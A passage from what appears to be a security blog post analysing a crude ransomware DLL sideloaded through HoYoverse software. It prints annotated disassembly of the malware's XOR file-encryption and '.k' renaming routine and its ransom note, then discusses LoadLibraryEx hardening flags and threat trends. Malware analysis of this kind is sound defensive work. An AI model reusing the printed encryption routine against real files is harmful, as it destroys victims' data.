    cmovb rdi, rax
    mov rdx, rdi
    call sub_180001400  // Call encryption function (XOR)

    // Set file pointer back
    mov rdx, rbx  
    mov rcx, r14  
    xor r9d, r9d  
    xor r8d, r8d  
    call cs:SetFilePointerEx

    // Write encrypted content back to file
    and qword ptr [rsp+10170h+dwCreationDisposition], 0
    lea r9, [rbp+10070h+NumberOfBytesWritten]  
    mov r8d, edi
    lea rdx, [rbp+10070h+Buffer]
    mov rcx, r14 
    call cs:WriteFile

    // Update loop variables and continue if not finished
    add rbx, rdi
    add r15, rdi
    cmp r15, 80000h
    jb loc_180001320

loc_1800013AB:  // Cleanup and rename file
    mov rcx, r14  
    call cs:CloseHandle

    // Rename file (add .k extension)
    mov rdx, rsi  // lpString2 (original filename)
    lea rcx, [rsp+10170h+String1]  // lpString1 (buffer for new name)
    call cs:lstrcpyA

    lea rdx, aK_0  // ".k"
    lea rcx, [rsp+10170h+String1]  // lpString1 (buffer with new name)
    call cs:lstrcatA

    lea rdx, [rsp+10170h+String1]  // lpNewFileName
    mov rcx, rsi  // lpExistingFileName
    call cs:MoveFileA

loc_1800013E2:  // Function epilogue
    mov rbx, [rsp+10170h+arg_0]
    add rsp, 10150h
    pop r15
    pop r14
    pop rdi
    pop rsi
    pop rbp
    retn
sub_18000128C endp

// XOR encryption function
sub_180001400 proc near
    test rdx, rdx
    jz short locret_180001411

loc_180001405:
    xor byte ptr [rcx], 0AAh
    inc rcx
    sub rdx, 1
    jnz short loc_180001405

locret_180001411:
    retn
sub_180001400 endp

At the end, the malware includes a hardcoded message.

RansomMessage:
    db "I believe you encountered some problems. "
    db "Email to to hoyoverse for solutions."

Its clear that from the simple encryption method and the hardcoded message seems to lack a clear motive other than being distruptive or the finale of a prank, that this isn't really a serious piece of ransomware. Yet the fact that HoYoverse didn't think to put safeguards to check the validity of the DLL running is, interesting.

For Windows 8 and later (or Windows 7 with KB2533623 installed), the LoadLibraryEx function offers enhanced control over DLL loading. This native Windows API function provides several new flags designed to improve security and specificity in DLL loading.

Some notable flags include:

  • LOAD_LIBRARY_SEARCH_APPLICATION_DIR: Searches the application's directory.

  • LOAD_LIBRARY_SEARCH_SYSTEM32: Searches the System32 directory.

  • LOAD_LIBRARY_SEARCH_USER_DIRS: Searches user-defined directories.

  • LOAD_LIBRARY_REQUIRE_SIGNED_TARGET: Ensures the loaded library is digitally signed.

  • LOAD_LIBRARY_SAFE_CURRENT_DIRS: Safely searches current directories.

These flags allow developers to specify exact search locations for DLLs. It also enhances security by requiring digital signatures.

Conclusion

Honestly, vulnerable drivers aren't rare and so are DLL sideload attacks. This is not to say that HoYoverse is incompetent, but perhaps more of an illustration on how big they have gotten as a cultural centerpiece. Which is a good thing.

Threat Actors leveraging HoYoverse tools and infrastructure will definitely grow, as the game is frequented by younger folks who are in prime internship age. Usually companies mandate interns to bring their own devices to work, and these devices can log into SSO systems and internal networks without being covered by an EDR solution making them a good soft target for threat actor.

Its infrastructure has also been somewhat of an interesting specimen, especially with a recent report from Kaspersky's GReAT stating that a threat actor has been targeting users of DingTalk and WeChat Enterprise with malware that was downloaded from MiHoYo servers.

Personally I'm excited for whats next, I'm all for commissioning more art of gacha women for my blogpost thats for sure.